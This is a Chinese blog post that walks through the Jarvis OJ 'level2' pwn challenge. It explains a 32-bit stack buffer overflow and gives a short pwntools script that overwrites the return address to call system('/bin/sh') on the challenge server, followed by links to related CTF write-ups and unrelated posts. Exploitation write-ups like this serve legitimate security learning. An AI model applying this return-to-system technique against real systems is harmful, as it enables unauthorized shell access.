(Jarvis Oj)(Pwn) level2

笔记向——PWN jarvis oj level2 题目链接:https://dn.jarvisoj.com/challengefiles/level2.54931449c557d0551c4fc2a10f4778a1 nc pwn2.jarvisoj.com 9878 0x01分析漏洞 先查看文件类型,再运行一下文件 检查保护措施 补充: checksec :是用来检查可执行文件属性的。 Arch:说明这个文件的属性是什么,说明是32位的程序。 Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,lin 阅读详情

(Jarvis Oj)(Pwn) level2

首先用checksec查一下保护。这次NX开启了。
这里写图片描述
用ida反汇编,找到溢出点。
这里写图片描述
这次system函数又出现了。于是想着是否可以通过控制调用system(“/bin/sh”)得到shell,将返回地址用system的地址覆盖,将传入参数设置成”/bin/sh”,用ida查找了一下字符串,刚好发现了”/bin/sh”,于是记录下地址(或者使用pwntools的elf工具)。
这里写图片描述
整个逻辑的示意图如下:
这里写图片描述
注意不能在vulnerable函数的返回地址后面直接跟参数,我们需要模拟call system函数的过程,在这个过程中call有一步是将下一条指令的地址压栈,所以我们需要构造一个假的返回地址,当然这个内容随意。写得脚本如下。

  1 from pwn import *
  2 conn=remote("pwn2.jarvisoj.com","9878")
  3 e=ELF("./level2")
  4 sys_addr=e.symbols['system']
  5 pad=0x88
  6 sh_addr=e.search("/bin/sh").next()
  7 payload="A"*pad+"BBBB"+p32(sys_addr)+"dead"+p32(sh_addr    )
  8 conn.sendline(payload)
  9 conn.interactive(); 
笔记向——PWN jarvis oj level1 题目链接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5 nc pwn2.jarvisoj.com 9877 0x01Linux中分析题目 首先使用file命令,文件为32位 再运行一下文件,提示输入,然后输出hello world 若出现权限不够则使用 chmod 777 文件名 ,打开文件所有权限 使用gdb工具,终端输入gdb,再输入:checksec 文件名,检查保 阅读详情

相关推荐

从0到1:提示工程架构师搭建Agentic AI系统的全流程实战手册

Agentic AI(自主智能体)是具备自主决策能力的大模型应用感知(Perceive):获取外部环境信息(比如代码仓库、用户输入、数据库数据);记忆(Memory):存储和检索历史信息(比如过去的审计记录、用户偏好);规划(Plan):将复杂任务拆解为可执行的步骤(比如“代码审计”拆成3步);行动(Act):调用工具或API完成具体操作(比如调用Git克隆仓库、调用Safety查漏洞);反馈(Feedback):根据结果调整策略(比如用户说“报告不够详细”,下次增加逻辑漏洞的分析深度)。

AI Agent Harness Engineering 1042

jarvisoj_level2

第一个p32(0x08048320)是function函数的返回地址,第二个是system函数的返回地址,p32(0x0804a024)是system函数的第一个参数。注意到这里可以利用栈溢出漏洞,buf数组只给了0x88的大小,但是最多可以读入0x100个字节的数据,所以多读入的数据就会向下把栈给覆盖掉。于是想把function函数的返回地址覆盖成system函数的入口地址,然后把参数改成"bin/sh"字符串的地址。

m0_55086916的博客 796

IPV6基本配置

IPV6配置,DHCPV6,华为模拟器,IPV6的M/O标志位

路漫漫其修远兮 4666

jarvisoj_level2【BUUCTF】

jarvisoj_level2【BUUCTF】

qq_41696518的博客 1006

禅道二次开发(一):从零搭建本地开发与调试环境

本文详细介绍了禅道二次开发的第一步:从零搭建本地开发与调试环境。通过部署官方一键安装包、配置端口与防火墙、连接数据库、设置Samba文件共享,并最终在VSCode中配置PHP智能感知与Xdebug调试,手把手教你建立一个隔离、高效的专属开发工作台,为后续的代码修改与功能扩展奠定坚实基础。

weixin_29003437的博客 323

PINN内嵌物理知识神经网络入门及文献总结

内嵌物理知识深度学习方法(PINN)已经成功用于解决各类科学计算问题,其本质是将物理先验知识嵌入神经网络训练中,将一个求解PDE的问题转化为一个优化问题。这篇博客主要记录PINN相关论文

山里娃的博客 7万+

jarvisoj_level2[BUUCTF]

从反汇编后的代码可以看出read()这个函数对buf进行写入时存在缓冲区溢出,IDA会告诉我们buf数组与ebp在栈上的相对位置,即&buf=$ebp-0x88,因此我们需要填充0x88个字符就能到达ebp的位置,然后再填充4个字符就能到达eip的位置,并且system()的地址可以轻松在plt表中找到,为0x08048320,因此我们只需要在构造一个shell路径的字符转就可以getshell了。

moonlightsunshin的博客 430

【8】mctp & pldm

异步会check seq,保证不丢包,虽然发一条req,不用等,但是不能发下一条req,等上条response回来后才能发下一条。TO(tag owner)=1是request,TO=0是response,但是异步通信response由0改为1。如下还有kcs,i3c,serial等。

持续更新ing... 1082

BUUCTF-jarvisoj_level2详解

BUUCTF-jarvisoj_level2详解

2301_76794844的博客 2124

从 QQ 聊天到 AI Agent:AstrBot + NapCat 接入 DeepSeek

<think>我们根据要求,根据提供的内容生成≤150字的文章摘要。内容是关于在Windows上使用Docker部署AstrBot+NaPCat,配置DeepSeek,实现QQ AI机器人。摘要需简洁概括主要步骤和结论。注意字数。</think>在Windows 11上通过Docker一键部署AstrBot与NapCat,实现QQ机器人。NapCat扫码登录QQ,AstrBot接入并配置DeepSeek API,完成AI对话。后续可扩展人格、插件及MCP工具,并通过cpolar提供公网管理入口,打造可扩展的

天道酬勤 1万+

智元机器人开源具身仿真框架 Genie Sim 入门教程

GenieSim是AgiBot推出的具身智能仿真框架,提供完整闭环开发管道,包括轨迹生成、模型训练和基准测试。框架支持Docker容器化部署,要求Ubuntu 22.04和NVIDIA硬件环境。主要功能涵盖: 支持12种基准测试任务 提供ADER评估框架 集成UniVLA/RDT等基线模型 支持PICO/键盘遥操作 具备轨迹记录回放功能 提供完整API控制接口 开发者可通过Hugging Face获取场景资产,使用标准化ROS主题与仿真环境交互。框架特别优化了碰撞检测和抓取物理模拟,适用于从简单抓取到复杂操

2506_90492529的博客 2542

(Jarvis Oj)(Pwn) level2(x64)

(Jarvis Oj)(Pwn) level2(x64) 首先用checksec查一下保护,和level2一样。 反汇编,程序和32位的程序几乎一致。找到溢出点。 那么溢出思路也和32位的差不多,唯一不同的是,64位程序在调用system函数时,参数的传递方式和32位不一样,32位是通过栈传参,而64位通过edi寄存器传参,所以这时我们的思路变成如何覆盖edi的值,通过基本rop就可...

Nothing 1565

OpenClaw人人养虾:接入Matrix

Matrix 是一个开放的去中心化通讯协议(Decentralized Communication Protocol),任何人都可以搭建自己的 Homeserver(家服务器)并与全球 Matrix 网络互联。OpenClaw 通过 Matrix Client-Server API 实现接入。

王国平的博客 526

CTF-PWN-level2(x64)(Jarvis OJ)

这道题和level2的32位版本的漏洞一样,不过32位程序函数的参数是压在栈中的,而64位程序的前6个参数是存在寄存器中的,第7个开始才压入栈中。 由于我们的目的是将system函数的参数改为/bin/sh,所以我们考虑用pop edi ret 语句将字符串赋值给edi。 同样的,程序中hint存入了/bin/sh,我们直接使用即可。 system函数的地址也很容易获得,剩下的就是pop e...

SuperGate的博客 601

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

(Jarvis Oj)(Pwn) level1

(Jarvis Oj)(Pwn) level1 首先用checksec查一下保护。几乎没开什么保护措施。关键的是NX没开,意味着栈上的数据可执行。 用ida反汇编,找到溢出点。 但这次没有找到system函数了,那么该怎么得到shell呢,发现这个函数调用了printf函数,输出了buf的地址,在结合NX保护是关闭的,那么就意味着,如果将shellcode写到buf中,函数返回时跳转...

Nothing 1411

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

(Jarvis Oj)(Pwn) level4

(Jarvis Oj)(Pwn) level4 先看一下保护措施,没什么奇怪的地方。 这次并没有给libc的文件,开始通过泄露得到的__libc_start_main地址对照libc库,并没有成功。于是就学了一波DynELF,这个模块的原理还是不太清楚(玄学),以后来填。总之利用这个模块可以找到system的地址,但是找不到”/bin/sh”这个字符串位置,但是我们可以控制read函数,所...

Nothing 1264

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

(Jarvis Oj)(Pwn) level0

(Jarvis Oj)(Pwn) level0 首先用checksec查一下保护。几乎没开什么保护措施。 用ida反汇编。main函数就调用了两个函数。 跟进第二个函数。 找到溢出点,同过buf缓冲区。又找到函数callsystem()。 只要控制程序返回到callsystem地址即可。找到callsystem地址。 写得脚本。 1 from pwn ...

Nothing 1319

(Jarvis Oj)(Pwn) level3_x64

(Jarvis Oj)(Pwn) level3_x64 这题是level3的64位版本,思路和32位版本一致,不同之处就是函数的参数传递,利用寄存器,于是构造rop链。写得脚本如下: from pwn import * ...

Nothing 1076

[Jarvis OJ - PWN]——[XMAN]level2(x64)

[Jarvis OJ - PWN]——[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序。开启了NX保护 在IDA看一下,main函数中有我们要的system函数, vulnerable_function函数中也有。不过可惜参数都不对,任取一个system地址就好就好。但是我们找到了栈溢出的利用函数read。buf距离rbp的距离为0x80 查找一下看看有没有**"/bin/sh"字符串

Y_peak的博客 923

(Jarvis Oj)(Pwn) level3

(Jarvis Oj)(Pwn) level3 首先用checksec查看一下保护。 依然开启了NX保护。ida反汇编,找到溢出点。 可是呢,这次在程序中并没有找到system函数,和”/bin/sh”字符串,那么这次该如何拿到shell呢,还是利用system函数,但是没有程序中system的plt,我们如何获取system的地址呢,这需要利用到在libc.so文件中各个函数的相对...

Nothing 1759

攻防世界level0 + (Jarvis Oj)(Pwn) level1

攻防世界level0 将文件在ida中打开, 输出字符串helloWord之后执行vulnerable_function()函数,没有与用户交互,双击进去查看,, 无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转。查找字符串 这是 vulnerable_function 函数,可以在栈上写0x200个字节,或许我们可以进行溢出,覆盖掉返回地址...

qq_44832048的博客 2163

(Jarvis Oj)(Pwn) level5

(Jarvis Oj)(Pwn) level5 题目描述:mmap和mprotect练习,假设system和execve函数被禁用,请尝试使用mmap和mprotect完成本题。附件和level3_x64的附件一样。 首先去看看这个mmap函数和mprotect函数是干啥的。 void* mmap(void* addr, size_t len, int port, int flag, int...

Nothing 2198

[Jarvis OJ - PWN]——[XMAN]level2

[Jarvis OJ - PWN]——[XMAN]level2 题目地址:https://www.jarvisoj.com/challenges 题目: 首先,checksec一下。32位并且没有开启PIE 在IDA中查看一下。main函数里面没有我们想要的,点开vulnerable_function函数。发现read函数,第一个参数为0,代表标准输入。可以利用栈溢出。 发现里面有system函数,但是里面的参数不是我们想要的,所以我们要覆盖一下它。按shift + F12,找到/bin/sh字符串

Y_peak的博客 321

Jarvis OJ - pwn level3

前言 因为换了电脑,GitHub博客的环境搭起来太麻烦了,又想有所记录,所以又回到这里啦~ level3 前段时间做过pwn题目,现在再来做,发现以前很简单的脚本利用命令都忘记了,真是,啥东西都不能放,一放就忘,这脑子不管用了。 之后每天保持做题量,保持做题手感!在这里记录并且作为监督自己的一种方式。 做题思路 没有system和binsh,又给出了libc文件,容易想到可以用ret2libc方法...

hanqdi_的博客 329

Jarvis oj level系列小记

level0 首先我们先checksec一下level0文件,可以尝试栈溢出 可以看到level0是64位文件,所以将level0拖入ida_x64,这类题简单,直接给出了system和/bin/sh 再查看vulnerable_function函数 同时,read可以读入0x200个字符,所以可以实现覆盖callsystem的地址 代码如下 from pwn import * p = remot...

H_sfan的博客 329
上一篇: (Jarvis Oj)(Pwn) level1
下一篇: (Jarvis Oj)(Pwn) level2(x64)
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值